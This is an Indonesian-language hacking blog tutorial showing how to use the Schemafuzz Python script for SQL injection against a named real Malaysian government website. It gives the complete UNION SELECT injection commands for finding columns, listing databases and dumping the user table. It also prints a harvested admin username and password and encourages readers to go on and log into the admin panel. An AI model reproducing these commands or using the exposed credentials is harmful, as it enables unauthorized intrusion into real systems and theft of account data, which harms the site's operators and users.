Kali ini saia akan membahas tentang SQL Injection Menggunakan Schemafuzz. Sebelumnya kita sudah melakukan berbagai teknik SQL Injection, baik menggunakan cara manual ataupun menggunakan tools, tapi kali ini kita akan menggunakan sebuah script yg dibuat oleh darkcode dgn bahasa Python. Ok, saia tdk akan berbasa-basi ria lg, kita lngsng ke TKP yow :
Yg kita butuhkan adalah Program Python yg sudah terinstal dikompi/lepi anda serta Schemafuzz jga, silahkan kalian download dilink yg saia siapkan dibawah ini :
Python 27 =>
Link & kalian jga bisa mencarix di Google kok
Klo sudah diinstal Pythonx, schemafuzz kalian masukkan kedalam folder Python di drive C..
Kalo sudah selesai, langsung kita jalankan. Caranya :
1 : Klik
start >>
Run >>
CMD2 : Trus kita masuk ke directory c:\ dengan mengetik
CD ../.. <� mundur 2 dir
3 : masuk ke directory
Python27 dengan cara ketik �
cd Python27? hingga muncul
C:\Python27>
4 : Jgn lupa untuk mencari targetx dulu & target yg saia ambil kali ini ialah :
http://www.ilpjitra.gov.my/newsdetails.asp?id=16
5 : Perintah dasar schemafuzzy ini yaitu :
schemafuzz.py -u �target� --perintah
6 : Pertama-tama, kita cek kolomnya dgn perintah
schemafuzz.py -u http://www.ilpjitra.gov.my/newsdetails.asp?id=16 --findcol
Maka setelah anda menulis script diatas, akan muncul jumlah kolom seperti gambar dibawah ini :
Note : Klo script diatas tidak bisa jalan, maka tambahkanlah tanda (
" ") sehingga menjadi :
schemafuzz.py -u "http://www.ilpjitra.gov.my/newsdetails.asp?id=16" --findcol
7 : Ok, sekarang kita lanjut untuk mencari DB, diatas terlihat panjang kolomx ada 10 dan pada tulisan darkcode, itulah celah yg akan kita susupi. Saia menggunakan perintah dibawah ini untuk mengekploitasinya..
schemafuzz.py -u http://www.ilpjitra.gov.my/newsdetails.asp?id=16+AND+1=2+UNION+SELECT+0,1,darkc0de,3,4,5,6,7,8,9 --dbs
Hingga muncul hasil :
Nah kan, kita sudah temukan data base site tersebut, database ada 3 :
- lpx8
- mysql
- test
tapi pada penjesalan ini kita akan gunakan database nomor 1
8 : Cari nama table dalam database lpx8 menggunakan perintah :
schemafuzz.py -u http://www.ilpjitra.gov.my/newsdetails.asp?id=16+AND+1=2+UNION+SELECT+0,1,darkc0de,3,4,5,6,7,8,9 --schema -D lpx8
Hingga Muncul Hasil :
Keluar semua kan kolomnya. Dari sini kita mengetahui bahwa web tersebut memiliki 14 Columns. Sekarang kita tinggal pilih kolom yang akan kita exploit & saia memilih kolom terakhir yaitu tbluser
9 : Sekarang waktunya kita Exploit Tables and Columns dgn perintah dibawah ini :
schemafuzz.py -u http://www.ilpjitra.gov.my/newsdetails.asp?id=16+AND+1=2+UNION+SELECT+0,1,darkc0de,3,4,5,6,7,8,9 --dump -D lpx8 -T diisi Nama table -C di isi nama columns
Misal saia mau melihat data-data yang ada di columns tbluser, kita menggunakan perintah :
schemafuzz.py -u http://www.ilpjitra.gov.my/newsdetails.asp?id=16+AND+1=2+UNION+SELECT+0,1,darkc0de,3,4,5,6,7,8,9 --dump -D lpx8 -T tbluser -C Username,Password
Hingga Muncul Hasil seperti di bawah ini :
Nah kan, coba lihat, keluar kan nama Username & Passwordnya :
lpadmin:shazam123 yg berarti username : lpadmin & Passwordx : shazam123, begitu juga seterusnya karena ada 3 user & pass yg berhasil kita jaring.. :)
10 : Nah user and password admin dah ketahuan, untuk login ke adminx, silahkan anda cari sendiri yah, diblog saia jga ada kok artikel yg menuliskan cara mencari letak kolom admin,
11 : Cara ini hanya berlaku untuk sql versi 5. Untuk versi 4, Harus Manual.
Selamet mencoba & Sukseskan Dunia IT di Indonesia
Q-Whil3
